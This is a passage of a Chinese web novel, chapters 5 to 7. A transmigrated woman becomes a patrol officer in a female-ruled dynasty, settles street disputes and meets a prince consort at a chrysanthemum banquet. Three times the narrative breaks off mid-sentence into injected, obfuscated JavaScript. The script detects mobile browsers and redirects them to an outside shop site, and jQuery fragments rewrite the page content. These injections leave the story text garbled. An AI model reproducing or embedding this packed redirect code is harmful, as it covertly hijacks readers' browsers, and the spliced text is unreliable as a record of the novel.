“家中小儿刚开蒙。”闻赋光随口接道,她现在的水平可不就跟刚学认字不久的孩子差不多。
掌柜沉吟一下,起身去了书架后面。片刻后带着几本书册转回。
“娘子请看,小娘子们刚开始读书时多学这两册,因是开蒙,小人还拿了本描红字帖。”
“行,帮我装好吧。”反正只是学认字的书,买什么都差不多。
见她已经选定,掌柜招呼伙计过来,自己捧着账册进了里间。
一旁伙计上前接过书册,仔细叠好用纸包起来,再用细细的麻绳捆好,还贴心地留了个绳环方便手提。
一边打包,伙计口中闲不住道:“娘子您身量虽高挑,但看着还很年轻呢,没想到令千金都要开蒙了。”
闻赋光在旁边呵呵一笑,“是呀,英年早婚,我家里三代单传,我娘就等着抱孙女呢。”边胡说八道,边又想起来什么,“对了,你们这可有什么有意思的话本子?我平日里闲着没事干,实在无趣。”
这话一出口不知道是触发了行业黑话还是怎么,“喔,这个啊,本店恰好新到了本解闷的册子。”伙计一下就露出“我很懂”的神情,压低声音神神秘秘道。
她弯腰从柜台下方取出一本看着平平无奇的册子,捋着看似不起眼的封面给闻赋光看,“这可都是限量印的,您瞧瞧这纸多好,这里头的画也是活灵活现,保管您看了满意!这客人们争相要买,如今已经没剩几本啦!您要错过了这回,那下次可就难寻咯。”
闻赋光原本问的真是话本子,不过她转念一想,这时候的书上没有标点符号,看话本也还要自己连猜带蒙地断句,有意思程度对她来说恐怕大打折扣,不买也罢。而眼前这本......见这伙计大力推荐,心下松动:“好,这本我也要了!”
闲着没事干的时候可以批判一下嘛。
伙计笑容满面,“诶!小的给您包严实了,保管别人看不出来!”
5. 第 5 章
闻赋光躲在自己屋里认了几天字,顺便养养伤,连中秋的盛大集会都没出门。可能是她还处在新手保护期,明明受伤不轻,恢复得倒是很快。
这几天没人来打扰她,闻家人吃饭是各吃各的。大房就剩她一个了,二房姨母那边两个男儿都嫁了人,唯一的女儿只有七八岁,她们玩不到一起去,往来不多。院子里几个杂役都是老实人,她暂且放下了那些隐约的担忧,养伤认字期间只做一头轻松的猪。
不过做猪也不是毫无收获,她这几天偶然偷听到府里下人干活时聊天,才知道前些年闻家老太君临终前已经做主分了家了。
闻家只有两房,当年老太君的长女即闻赋光之母过世后,老太君深受打击病倒了,是姨母撑起了这个家,因此老太君将除了祖宅和祭田之外的家产一分为三,二房作为主枝要多分一份得两份,大房得一份,这是符合大媱传统的分法。
但这一份家产如今还没到她自己手里,当年老太君顾虑她还是个孩子,要她长大娶夫后方可出府另过。
听到这里,花园里边干活边说主子闲话的几个仆夫被管事的叫走了,闻赋光躲在附近一人高的假山石后面蹲了半晌,他们也没回来继续说完,只好遗憾离去。
大媱女子娶夫年纪不等,诸如皇室宗亲就可能一辈子也不会娶正夫,闻赋光今年十八,这个年纪的娘子多想着先立业后成家,自有家里的长辈先自行相看。
闻赋光琢磨了两天,觉得自己的婚事还是不能交由姨母父做主。姨母是铁了心的觉得自己能复刻闻家老祖宗的从龙之功,若是要姨母做主,她必然会将她的婚事与官场上的利益联系在一起,万一给她强塞一个丑八怪怎么办。
不过夫郎还是要娶的,成了婚她就能顺势搬出闻府,得到属于自己的那份家产,届时怎么支配也不用跟任何人报备。她得物色物色夫郎人选,不求有用,只求不给她生事。
*
闻赋光没能躲在屋里闲太久,某个天朗气清的日子,吏部来人送了敕命文书,闻赋光被授五城兵马司副指挥使之职,即日起去吏部报道办完手续,就要开始上班了。
五城兵马司副指挥使是个正七品官,闻姨母和她对这桩从天而降的差事都并不意外。
好歹闻赋光也是拼命帮姜榓送了回快递,姜榓现在还处在创业初期阶段,对于自己手下的人,但凡是把差事办好了,那出手必然要大方。赏一劝百嘛,否则谁还会跟她混。
上班就上班,上班怎么了?大家都要上班。闻赋光身边没什么东西要收拾,收拾好心情就朝着新工作进发。
虽然跨越了时空,但就如同现代职场生活一般,工作本身或许还算能够应付,处理同事关系却是个小小的难题。
这天日头升得高了,明晃晃地照着京城的练武场,兵器架上的刀兵枪戟被擦拭得锃亮,几十号士卒列着队跑操,队伍松松垮垮,有气无力,一个个的目光却似有似无地瞥向前面的身影——她们的副指挥使,闻赋光。
闻赋光一身品服,身形偏瘦,与周遭人显得格格不入。这些士卒大多是从各地卫所或大营里提拔来的,对这位空降的长官很陌生。
闻赋光喊停,队伍中一阵骚动,没几个人把她放在眼里。
稀稀拉拉好不容易停下列好队,只听得队伍中有人嗤笑了一声,那声音毫不避讳,一时间所有人的目光都看向了队伍前列的闻赋光,那些目光或是不服气,或是戏谑,或是无视。
这样的场面,闻赋光来之前就有预料。
闻赋光看向队伍中的一人,她叫华其真,虎目剑眉,身材高大,皮肤晒得很黑,和另外几个士卒是一起从卫所被提上来的,她为人仗义,营地里的姐妹有困难时往往不吝相助,平时人缘很好,也是这个团体中的小头目,此时隐隐有不少人在看她的反应行事。
华其真直直地望着她,既不挑衅也不打算开口解围,闻赋光心里很清楚,眼前这群人不配合的态度,有一部分也是华其真对她的试探。
“今日诸位姐妹操练敷衍,无非是觉得我年轻,没资格做副指挥使。”
“多说无益,今日便在此以武论道。”
“我若输了,从此大小事宜任凭你们做主;我若赢了,从此以后各司其职,再无懈怠。不服的,上前来!”
“指挥大人,在下阮笛,我来请教。”出列的是一名魁梧女子,一张年轻的娃娃脸配上一身腱子肉,不用上手就知道一定有两下子,她拱了拱手走上前来,主动挑战。
“好啊。”
话音未落,阮笛一声暴喝,如蛮牛冲撞一般,右拳带着破风的力道直捣闻赋光面门,这一拳极重,用上了十成力,被打中头的话可能会变成傻子。
闻赋光不慌不忙地闪身轻巧避开,那拳风堪堪擦过。阮笛改掌为抓向她的肩而去,企图将她压向地面,闻赋光没给她这个机会,她反手扣住阮笛手腕,猛地一拧,趁此机会绕至她身后毫不犹豫地一脚,还没等旁观者看清她是如何使力的,阮笛已经被她借着巧劲死死压制住,动弹不得。
一招见分晓,众人哗然。闻赋光拍了拍阮笛,阮笛抖了抖,爬起来给其他人让路。
…………
眼见地上趴着的“尸体”越来越多,众人沉默了。
“还有人要上来吗?”
回答闻赋光的是练武场众人挺直的身躯,和满场鸦雀无声。
“今后可能好好共事了?”
“是!”
初步搞定了同事关系,闻赋光开始了古代社畜生活。
这个活计兼有现代的城管和消防的职责,如今百姓还算安居乐业,平时在大街上巡逻也多数是处理些诸如商贩之间、商贩和顾客之间、闲人闹事的鸡毛蒜皮的事。
诸如街口这类做生意的核心地段,是小商贩们抢着要占的位,不少商贩凌晨就拉着货挑着担子赶到,用石块等物占位子,先到先得,不过偶尔也有莽撞的会发生冲突,这时候在附近巡逻的官兵就会火速赶到处理。
天光大亮,大媱清晨的街头烟火气十足,闻赋光刚巡过街角的早点摊,打算尝尝新出锅的包子,就听见前方传来一阵喧闹。她快步上前,东市里最热闹的那处摊位前,穿着粗布衣裳,头戴幂篱的年轻男子死死护着手边的布袋,布袋里露出几方绣着各式纹样的绣帕,对面的粗蛮民夫一手叉着腰,一手要去掀他的绣品摊子,嗓门又大又粗:“这摊位明明是我先占的!你个小皮子,别在这里胡搅蛮缠,识相点就赶紧挪开!”
年轻男子急得声音发颤,却仍然死死攥着布袋不肯松手:“明明是我先占的!周围其他摊主都看见了,是你将我的石头丢了,还要把我的东西挪开!你凭什么来抢我的摊位!”
粗蛮民夫冷笑一声:“凭老子力气大!你再犟,老子把你这些破玩意全扔了!”
“住手!”闻赋光拨开人群走了进去,沉声道:“别吵了,怎么回事?”
粗蛮民夫见官兵来了,张口就是污蔑:”“大人,是他占着道,不合规矩在先,影响旁人做生意啊,小人实在看不惯。”
这时周遭已经围了一圈看热闹的人,七嘴八舌地帮年轻男子作证,说这摊位并没有占道,确实是他先来的。粗蛮民夫见状,态度也不敢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705500|189190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像之前那么强硬,狠狠瞪了一眼年轻男子,仍嘴硬道:“大人,就算是他先来的,可他一个年纪轻轻的小郎,凭什么把着这么好的位置不放!”
闻赋光沉了脸,“是你蛮不讲理在先,现在就离开,若再敢滋事,休怪我无情。”
粗蛮民夫畏于官兵威严,实在无法,不甘地啐了年轻男子一口,悻悻然走了。
人群见没有热闹可看便自行散去,年轻男子上前朝着闻赋光深深屈膝:“多谢大人,若非大人解围,我的摊子就要毁了。”
闻赋光摆摆手,“无妨,分内之事。”
他似乎还想说些什么,闻赋光耳听前方又有动静,顾不得寒暄,转身离开。
这回吵架的是个肉铺,一个老妇正指着摊主孙屠户的鼻子,手里提了块猪肉,叫骂孙屠户缺斤短两,付了一斤肉钱,回家一称只剩九两。孙屠户自不肯认,坚称是老妇家里的称有问题。
闻赋光对处理这样的纠纷已经很熟练了,见二人争执不休,依然没个说法,便借了其他摊主的称来称,一个称的结果或许不足以服人,她一连借了六七杆。
老妇将肉放置称上,大多数称不偏不倚地指向了九两半。
老妇喊到:“大人您看,确实短了我斤两,只有九两半,足足少了半两呢!”孙屠户也松了口气,连忙辩解:“我就说不可能少那么多,只差了半两……许是那会风大,这才有些许误差。”
按照惯例,闻赋光判屠户补给老妇一两肉,这事就算是完了。
忙碌的一上午在吵吵闹闹中度过,下午她不当值,交了班就走人。
秋日有不少新点心上市,闻赋光一手提了壶桂花酒,站在京中有名的点心坊裕杏斋里,见有桂花糖藕、糖蒸酥酪、红豆糕等,这裕杏斋据说驰名大媱,还将分铺开到了南方去,生意如此红火,想必点心也是不差的,她招呼店小二一样各要了一包,美滋滋地提着打道回府。
肖从晗清晨被人找茬抢摊位,好在有那位大人帮助,他不仅守住了摊子还卖完了绣品,似是好运和她一起来临了。卖完后他收了摊子就一直等在路边,来回张望着。他不知道她会不会路过,也不知道她的姓名,只是想在这碰碰运气。
当那个身影真的出现在了街角,他心头一跳,压下想要立刻走过去的冲动,只等闻赋光走近。见她似乎没注意到自己,连忙出声叫住她:“大人。”
闻赋光四处张望谁在说话,在这个没有某信的封建时代,她下了班就自动耳聋眼瞎,不再关心路况,压根没注意路上都有谁。
肖从晗两三步小跑到她面前,“大人,今晨的事我还没有多谢你。”
“哦,是你啊。”闻赋光认出这是早上被抢了摊位的男子,“郎君不必客气,找我可有什么事吗?早上那个人又去欺负你了?”
肖从晗浅笑:“不是的,他没敢再来找事,承蒙大人相助,许是托大人的福,今日我的绣品都卖出去了。”顿了顿,他又有些踟蹰道:“娘子,我们先前曾有过一面之缘,不知您是否还记得?”
闻赋光一愣,她来到这里之后还不认识几个男子。
她顺着男子撩开幂篱的动作看去,是一张带着些许文气的脸,看着年约二十上下,“那日在广贤楼,是你?”闻赋光想起来了。那日他似乎与人起了争执,肿着脸跑出雅间和她撞到了一起。今日这脸倒是白净,看着挺人模人样,一点看不出那日的狼狈。
“正是,我姓肖,名从晗,那日还要多谢娘子替我捡起了诗稿,今日又是娘子替我守住了摊位,刚刚收了摊,我就擅自来这里等待,是想答谢娘子。”
6. 第 6 章
肖从晗没提那天在广贤楼的事情缘由,闻赋光也没追问。
他微微低着头,从怀中取出一方绣帕,“我没有什么能回报娘子的,只这一方绣帕是我精心绣的,还请娘子收下。”他虽然尽力掩饰了,但闻赋光还是瞄到那双手上有不少针眼,估计是日日针线不离手的,想来靠这个贴补家用。
他这个年纪,闻赋光有些犹豫:“肖公子打理针线的手法娴熟,想来是常为家事操劳的?”
肖从晗一愣,随即明白过来她心有顾虑:“不是的!我,我不曾嫁人,这块帕子也并没有别的意思......只是,这是我如今所能拿出的最好的东西......”
要收吗?要拒绝吗?
目光瞥见帕子上的绣样时,她眨了眨眼。
这个时代的男子们不是最爱绣些花儿草儿鸳鸯喜鹊吗?为什么眼前这方帕子上有几颗白胖可爱的水蜜桃?
怎么办,她最爱吃水蜜桃,还真是有点喜欢这块绣帕。
附近茶楼上,一人正隔着窗纱,面无表情地注视着街头说话的二人。
见她反应,肖从晗看出来她似乎并不排斥,干脆将帕子塞到她手中就想告辞,这下轮到闻赋光叫住他了。
她要是给钱,恐怕肖从晗也不会收。闻赋光随手塞了一包手上的点心给他。在这个时代,糖依然是贵重的调味品,拿甜点心换一块绣帕,应该很合适。
闻赋光还贴心嘱咐他:“肖公子,你早些回家吧。对了,在街头摆摊卖绣品容易与人争执,你的绣工这么好,不如拿去绣品铺子问问,若能放在铺子里寄售,就不必整日盯着抢着守着摊位了,或许还能有稳定的生意。”
“多谢娘子提点,我会去问问的。”肖从晗望着她离开的背影应下,点心还是热的,握在手中只觉有一股暖意窜到心底。他忍不住在街边就将点心打开一看,是一份红豆饼。
*
朝饮木兰之坠露兮,夕餐秋菊之落英。九月九是大媱民众重视的节日,白日里人们要佩茱萸、饮菊花酒、登高。除此以外,京城还由皇家贵人牵头,在琼花台的帝卿别苑举办了一场赏菊宴。
闻赋光也得去,但她不是被请去赴宴的宾客,是被调去干活的。被邀请赴宴的宾客们人多,又都是年轻未婚的官家女男,各家宝贝得很,自是不能出现意外,因此另外抽调了不少人手前去护卫。
主办宴会的是庆康帝卿,当今天家曾有一母同胞的一妹一弟,其妹桂王已经过世了,庆康帝卿是天家仅剩的幼弟。
他向来不沾朝事,自出降后与其驸马整日共赏花草山水,很得天家宠信,是京城男眷中顶顶风光的人物,连宫中内君都要避其锋芒。因此一般也无人敢在帝卿的宴会上挑事,总得来说这还算是个好差事,赏钱多,又不用她们干什么累活脏活。
皇家帝卿的场子,倒是出乎意料地没什么太多规矩,苑中各处都设置了不少桌案,除了室内,花间、水边、亭中等不同景致处各有席位,各处的席位俱用屏风或帘子分隔开来,使坐一起的宾客们可尽情说笑而不必被他人打扰。座位次序也不那么要紧,众人可循着先来后到的规矩,凭喜好入座,对此来赴宴的宾客心中都十分有数。
午时初,宾客们陆陆续续开始入场,场内侍卫不可带兵器,闻赋光身着品服立在花丛附近凉亭处,身旁是她近日的上班搭子阮笛。那日在演武场她和阮笛不打不相识,两个人一起吃过几顿饭,阮笛与她年龄相仿又性情直爽,如今她们关系相当不错。
赏菊宴上最多见的当然是菊花,这一路走来她们同样大饱眼福。有花瓣错落的白菊瑞云殿,毛茸茸白粉渐变的鹅毛粉黛,白绿渐变色的绿天赞,拥簇盛开的蓝色牡丹菊......附近席位上还没来人,阮笛用胳膊肘顶了顶她,“咱们这趟来得真是不亏,我土包子一个,从前看菊花要不是在花市,要不是在山上,还是头一回见这么多名贵菊花呢。”
闻赋光点了点头,“我也没见过,这些都是皇家花匠所出,我家只是小门户,没来过这种场合。”
共事这么久,大家或多或少也对这位副指挥使的出身有些了解,阮笛挑了挑眉,“你家不是有个兄弟嫁进了王府吗,王府总见识过吧?比今日的别院如何?”
闻赋光托着下巴回忆:“见是见过......姨母确实曾带着我和堂妹去怀王府拜见,不过没往花园里去,我们也不敢贸然乱走,也就路过前院进了正堂。”她回想起记忆中的王府,虽然实实在在比闻府规格高多了,然而并没有旁人想象中皇亲国戚府邸的气势恢宏,“王府的气派么,看着是不如帝卿的这所别苑的。”
阮笛想了想,“也是,庆康帝卿到底是天家的亲弟呢。”
两人对视一眼,大媱皇帝常出身于宗室旁枝,因此也防范宗室旁枝。这些亲戚在天家眼中地位微妙,当然是不如亲弟弟的,宗室旁枝在这些细枝末节上也不敢冒犯天家,修府邸自然是力求低调。当然,私底下低调与否那就只能问她们自己了。而庆康帝卿就没这个忧虑,他又一向好玩乐,自然是随着自己的喜好来修府邸别苑。
她们守的这地方偏僻,一时半会恐怕不会来人,两人接着聊下去。
阮笛很快转移了话题:“听说庆康驸马出身淮南游氏,庆康帝卿随驸马住在淮南已有几年了,倒是今年,这就突然回来了,还一回京就办了一场这么大的赏菊宴,邀请了京中五品以上的所有未婚女男,你猜怎么着?”
“怎么着?”
阮笛压低了声音:“隔壁巡夜队的朝天骄,她娘不是聚宝记的账房吗?我同她喝过几回酒,听她说......”
朝天骄,这名字真是与众不同。闻赋光无声地笑起来,肩膀颤动。
阮笛气她不专心听,杵了她一下,闻赋光猝不及防被她一推差点歪倒,向她怒目而视,阮笛讪讪一笑:“听我说呀!听她娘说有一位贵人去年在聚宝记下了一大笔重金,聚宝记为了这笔生意,特意多派了一支船队出海去寻珍贵的珠宝。今年船队回来了,交割时她们才知道,这位大主顾就是庆康帝卿。”
闻赋光接着笑完了,正色道:“哦?那就是帝卿要为他家郎君置办嫁妆了?”
“我想也是,不过他和驸马并无所出,因此那位肯定不会是他和驸马的郎君,而是重徽郡君。”
闻赋光发现她记忆里好像是有这么一号人物。天家已逝的亲妹桂王曾留下了一位郎君,被交给了庆康帝卿抚养。
“重徽郡君就是桂王的那位遗孤?”
“是啊,”阮笛的神色变得崇敬又忧伤:“桂王当年可是被称为玉面战神!至今十多年过去了,军营里至今还会提起她,我常听老兵们说起,她武艺高强,极擅排兵布阵又容貌俊朗,有她在就能横扫千军,天家有了她辅佐如虎添翼,顺利登上帝位,可惜她在西南征伐时年纪轻轻的竟然病逝了,连带着小世子也身亡了,从此她这一脉再无女嗣,只剩一位郡君。”
闻赋光叹了口气,少年英才突然折损,总是令人唏嘘的。见阮笛神色不虞,她努力转移话题:“不知道这位郡君身上可有其母风范呢?听你所说,他若能继承其母的容貌,想必也会是位美人了。”
阮笛的情绪来得快,去得也还算快,顺着她的话回想了一番,道:“我可没这个机会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705501|189190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲眼见到他,只听说容貌是极美的,却不知像不像他母亲了。”
“对了,你刚才说的什么来着,所以今日这场赏菊宴有为郡君相看仪宾的意思了,又考虑到京中未婚的女男们,干脆让大家都来凑个热闹,说不准还能凑几对。”
阮笛大赞:“正是!所以今日若是撞上鸳鸯相会,咱们万万要装作没看见,免得招人恨。”
两人叽里咕噜一通小话说得正起劲,闻赋光余光扫见远处有几个华服盛妆,珠翠环绕的身影逐渐靠近,她给阮笛递了个眼神,阮笛立刻懂了,二人火速噤声作鹌鹑状。
来人是几位贵男,叽叽喳喳地说着话朝这边亭子走来,今日秋风微凉,他们一个个似乎并不怕冷,还穿着轻薄的夏装,闻赋光眯着眼睛看着最前面那个一身粉杉的,怎么还敞着胸口露出了点事业线!真是世风日下,人心不古,慷慨大方!
侍卫不用上前端茶倒水,她们立在附近装作自己不存在即可,然而随着他们走近,闻赋光渐渐看清了来人的面孔,深感震惊,立刻把头深深地埋了下去,真心地开始希望自己真的不存在。
出大事了,那个一身粉杉的看着眼熟异常,似乎就是在妘祖庙里被她抵着刀子威胁的那位!她现在能掉头就跑吗,会不会被当成刺客抓起来?闻赋光定了定神,强忍住掉头就跑的身体反应,先静观其变。
眼见他们进了亭子落座,闻赋光僵硬地杵在原地,暗自祈祷这几位继续热火朝天聊下去,千万别一时无聊环视四周发现她。
双方离得有些距离,他们聊天的内容闻赋光这边听不真切,只有零星间飘来几个词:“......绣样......胭脂......发式......”“......书肆......手抄本......派人......引见......重徽......”
闻赋光一直悄悄关注着他们,前面他们一直在聊些胭脂水粉、发式衣衫之类的话题,听得她打哈欠,被她不感兴趣地略过了。然而当耳朵捕捉到关键词时,她猛地打起了精神。
她正埋着头不方便偷看,为了偷看不得不费力地掀起眼帘。亭中地势高,她站的位置低,还等没看到什么有用的,眼珠一阵乱转成功把自己转晕了。
眼前转了几圈小星星后,等她再回过神来,少男们似乎要离开亭子,闻赋光还没来得及松口气,却见有一队宫侍捧着托盘鱼贯而来,而亭中还有一人坐着没动。不仅如此,欲离开的那几道身影还一个个向他行了一礼,方才离开。
闻赋光心头猛地一沉,心中暗暗大呼不妙。
她与生俱来的被动技能之“讲八卦的时候正主一定会刷新在自己周边”生效了。
宫侍们上完菜就恭敬退下了,亭中的一个侍男走过来,看着像要吩咐什么,闻赋光无助地看着他走向阮笛,接着目送小伙伴被喊去跑腿,心中悲凉。
朋友,这有可能是我们见的最后一面了,你怎么不再回头看看我。
沉浸在悲伤中的闻赋光把这不算很长的二十几年人生走马灯了一遍,深感遗憾。等她再回过神,不知何时,连侍立的侍男们都不见了,现在就剩亭外站着的她,和亭中那位一袭粉衫的少男,现在应该叫他重徽郡君了。如此说来他也并不姓游,而姓姜。
“劳烦那边的大人,”
亭中人突然开口,她吓了一跳。
闻赋光心虚,把眼珠子牢牢焊在下面,不敢看他。
他依然坐着,手肘撑在圆桌上,手心托着下巴,视线牢牢锁定在亭外的女子身上,连呼吸都放得很轻。
“我的手帕被风吹走了,可否请你取回?”
7. 第 7 章
顺着他的视线,闻赋光转头看到身后的桂枝上挂着一方素帕,她伸手取下,不情愿地走向亭中递了过去。
“多谢大人,还不知你的姓名?”他伸手接过,好像从来没见过她,仅仅只是对陌生的下属寒暄般自然。
她一噎,朋友,你好像ooc了,那天你在庙里不是这样的......
不过她很快又释然了:形势比人强。那天他手无寸铁,而她的手上不仅有刀子,还对情况一无所知。俗话说,越是无知的人就越是胆大包天,什么都敢干,且毫无顾忌。如今形式逆转,她也是能屈能伸之人,很会审时度势。
真是中大奖了,她听见自己发出声音:“下官五城兵马司副指挥使,姓闻名赋光,家中姨母任兵部主事。”想了想,又随便行了个乱七八糟的礼,“见过郡君。”
还好,他似乎没有要发难的意思,低下头摩挲着手帕没出声。
见他没反应,闻赋光试探性地转身要站回去继续装鹌鹑,却不料被他清凌凌的声音叫住,“娘子请坐吧,站岗辛苦,不妨坐下喝杯酒水。”
闻赋光缓缓转回来,干笑两声:“多谢郡君好意,只是下官职责在身,不敢擅离。”
“不必拘谨,这里只有你和我在,”他收起了手帕,亲自起身攥着她的衣袖,拉她坐下,“附近没有其他人,不用担心。”
闻赋光没有轻举妄动,凭他靠近,浑身紧绷暗自蓄力,警惕他突然暴起。然而他的举动大大超出了她的预料,闻赋光僵硬地任由他拉到桌边,只觉得迷茫。
凑得近了看得更清楚,他今天的妆容十分精心,横卧秋波,淡雅自然,这么近的距离下依然看不到毛孔。望着他双靥上浅金色的鹅蕊,闻赋光一屁股就坐下了,管他的,要杀要剐都随便,反正他要问起那天的事,她就来一个抵死不认。
姜栀棠在她身侧也坐了下来。
闻赋光警惕地观察着他的一举一动,却不想他提起酒壶斟了杯酒,温声道:“秋日里用些清润的好,这是我亲自采了花露酿的菊花酒,闻娘子若不嫌弃,不妨试试合不合口味?”
怎么,在酒里下了毒要毒死她吗?闻赋光伸手去够酒壶,给他也满上一杯,微笑看着他。姜栀棠坦然举杯,一饮而尽。
五,四,三,二,一。
还活着。
而且味道不错。酒中有淡淡的米香,混着菊花特有的微苦,清香四溢,与时令相符。她伸手又倒了一杯,“口感甚佳。”
喝过了酒,他伸手又给她夹了块点心,“我舅舅府上有个做糕点很拿手的陈公公,这是他亲手做的糖蒸粉栗糕,都是秋日里的吃食,配着酒吃,正好解酒意。”
望着那块被放在她前面碗碟中的花型点心,闻赋光只觉得这场面太怪了,任何一个理智尚存的人见到这个场景,恐怕都无法解释他的诡异举动。
但多年的社会生活已经将她捶打得肉质紧实,闻赋光在职场也不是没见过爱发疯的有钱人,她已经掌握了一套适应法则,有时候遇见发疯的人绝不能点破,要顺着他来,否则病情会更严重的。就像哄她领导那只被宠坏的小博美一样,一直顺着他把他好好送走吧。
上午侍卫们要提前入场值守,到现在她也正好有些饿了,不吃白不吃。
不愧是帝卿府的厨子,这块点心一点不干巴,入口绵软,甜而不腻。这时候的糕点常放些她不喜欢的红绿丝和松子仁等,眼前这盘却没放,闻赋光很满意。
再吃了几口就隐隐觉得口感有些熟悉,闻赋光看了他一眼,察觉到她审视的目光,那双剪水秋瞳带着笑意,冲她微眯了眯。
桌上还有其他不少菜,既然动了筷子那就干脆多吃几口,不管要发生什么,她好歹也是饱餐了一顿,不至于做个饿死鬼。况且这桌菜很合她的口味,做得完全不比京中的酒楼差,甚至还略胜一筹。
“娘子觉得,这酒菜,可能配得上秋日的光景?”
人虽然怪里怪气的,反正吃食里没毒,闻赋光懒得揣摩他有什么深意,咽下最后一口,实话实说:“厨子手艺很不错,多谢款待。”
他望着她嘴角沾着的一点碎屑,捻起帕子,微微倾身过去。
闻赋光下意识地一躲,他似乎意识到自己唐突,手一顿,将帕子搁在桌上,往前推了推。
她没接,随手抹了抹嘴,就听到姜栀棠话中带了些小小的哀怨:“娘子不喜欢用帕子吗?”
说实话,自从被请进亭子,闻赋光就一直没闹明白他究竟在干什么,她和他是这种能其乐融融一桌吃饭聊天的关系吗?
根本不熟好吗。
一阵秋风不合时宜地吹来,桌上的素帕极轻,差点又被吹走,她反应极快地将它一把擒住,动作大了些,另一条帕子从袖口晃晃悠悠地飘了出来,其上纹样清晰可见。
姜栀棠显然也看清了,望着上面的蜜桃没有继续说话。
闻赋光泰然自若地捡起来胡乱塞了回去,“没有啊,我挺喜欢的,你看,还带在身上了。”
他披散的长发被风卷起,一缕发丝轻轻触抚到她面颊上,闻赋光被痒得一躲,姜栀棠脸上闪过一丝难以捉摸的情绪,又被很快掩去,再开口时有些掩饰得不慎仔细的艰涩:“那就是不喜欢旁人的帕子了,娘子怀中这条莫非是心悦之人所赠?”
“并非如此,不过是见绣样可爱,因此戴在身上。”闻赋光还在琢磨着多吃几口,随口回答道。
姜栀棠状似无意地追问:“那就是买来的?不知是哪家绣铺,竟有如此心思玲珑的绣郎?改日我定要去逛逛。”
这她还真不知道,那天她只是建议肖从晗去绣铺中问问能否寄卖,也不知道他去了没有,又去了哪家。
“是出自一位摆摊的绣郎,当差的时候我帮他赶走了闹事之人,他要答谢我,我不想白收他的,就用一包点心换了这块帕子。至于他之后还会不会卖绣品,这我也不知道呢。”
言罢,姜栀棠微微一笑,终于放过了这个话题,取了桌上的一只橙子给她。
他们在亭中坐了有一会了,姜栀棠都没有要离开的意思,看起来闲得慌。闻赋光见橙子皮已经被切出一个盖子,动手掀开,原来这道菜是以橙为器、蟹肉做馅,小小的一个橙子中装的都是蟹肉。
她从前也因为好奇去尝过蟹酿橙,味道着实令
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705502|189190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人大失所望,据说是因为古代和现代的橙子不是同一种,因而难以复刻。而眼前的这道......闻赋光伸手夹了一筷子,出乎意料的不错。
爽吃。
闻赋光此时能确信他没有毒杀自己的意思了,却真有些好奇,“郡君准备了这一桌菜,自己为何不动筷?”总不能是专门为她准备的吧,哈哈哈哈哈哈。
姜栀棠并未直接回答,反问她:“娘子这可是关切于我?”
闻赋光很想说没有,她只是单纯有点好奇,但是望着那双蕴含水色的眼,还是没有说出口,结结巴巴道:“我,下官不希望,不希望郡君错过大好秋景。”
“原来如此,”他露出有些苦恼的神情,“可我的碗碟空空。”
?
他这话没头没尾的,她却神奇地理解了其中真正的意思。
可是这像话吗?
闻赋光惊呆了,但是此刻她已经被他,以及她自己架起来了,顿了顿,她还是伸手颤巍巍地夹过一口菜,也没管是什么,放进了他面前的碗中,“请用。”
“多谢娘子了。”
她没敢看姜栀棠的神情,在心里吹着口哨,缓解那股流过四肢百骸的不自在。
一时无话,闻赋光吃饱了,顺手把玩着桌上状似荷叶的茶盏,因烧得有趣,她一时沉浸其中,没听清姜栀棠说话。
疑惑抬头,姜栀棠耐心极佳地重复了一遍:“娘子若用完饭了,不如走走消消食?”
闻赋光也明白过来了,他这是有话要说。“好啊。”
两人行走在园间小道上,姜栀棠率先开口:“今日的菊花,娘子可喜欢?”
闻赋光摆出标准营业微笑:“帝卿府的花匠所出,当然是极好的。只是我一介武妇,不过是走马观花,看个热闹。倒是郡君,如鲜花般的男子,应当珍惜青春,别错过了好年华才是。”
“娘子说得是。”姜栀棠轻轻叹了口气,“你也看到了,刚才我同其他人一同来到亭中说话,他们之中,有一位是我族弟,姜菱菱。”
闻赋光一愣,没想到他说起了一个不相关的人。
姜菱菱是谁?
看出了她的疑惑,姜栀棠主动解释:“娘子不熟悉贵男们的闺名,他是林阳王府的二郎君,姜栯的胞弟。”
“我随舅舅在淮南久居,不久前才回来,在京中并无交好的友人。与这位族弟,从前也并没有多熟稔,他喜好谈论诗词,我和他只是点头之交。最近,他却经常递帖子来我府上,或邀我出门,娘子觉得,这是为何?”
闻赋光恍然大悟,她曾也听人说起过此人,只是从没见过。他这话牵扯到林阳王府,再结合当前局势,心下就有了些许猜测,因有所顾虑,闻赋光只点了点头:“自是有利可图。”
